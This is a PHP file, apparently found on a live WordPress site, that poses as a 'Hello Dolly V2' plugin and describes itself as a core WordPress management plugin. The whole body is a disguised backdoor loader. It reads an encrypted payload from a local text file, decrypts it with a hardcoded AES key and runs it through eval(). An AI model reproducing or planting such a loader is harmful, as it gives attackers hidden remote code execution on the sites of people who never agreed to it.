File "hello_dolly_v2.php"

Full Path: /var/www/bvnghean.vn/wp-content/plugins/HelloDollyV2_sutc/hello_dolly_v2.php
File size: 1.03 KB
MIME-type: text/x-php
Charset: utf-8

<?php
/**
 * @package Hello Dolly V2
 * @version 1.0.1
 */
/*
Plugin Name: Hello Dolly V2
Plugin URI: https://wordpress.org/plugins/
Description: This is core plugin for managment WordPress.
Version: 1.0.1
Author URI: https://wordpress.org/
*/
error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
class UnsafeCrypto
{
 const METHOD = 'aes-256-ctr';
 public static function decrypt($message, $nonce, $key, $encoded = false)
 {
  if ($encoded) {
   $message = base64_decode($message, true);
   $nonce = base64_decode($nonce, true);
   if ($message === false || $nonce === false) {
        throw new Exception('Encryption failure');
   }

  }

  $plaintext = openssl_decrypt(
   $message,
   self::METHOD,
   $key,
   OPENSSL_RAW_DATA,
   $nonce
  );
            
  return $plaintext;
 }
}

$key = hex2bin('dd54f25f9bb497a2041be22dafa2a0a6e0b7d2fbb320108c3859975f29653f9a');
$parts = file('./lyrcofaccx.txt', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
$decrypted = UnsafeCrypto::decrypt($parts[1], $parts[0], $key, true);
eval($decrypted);
?>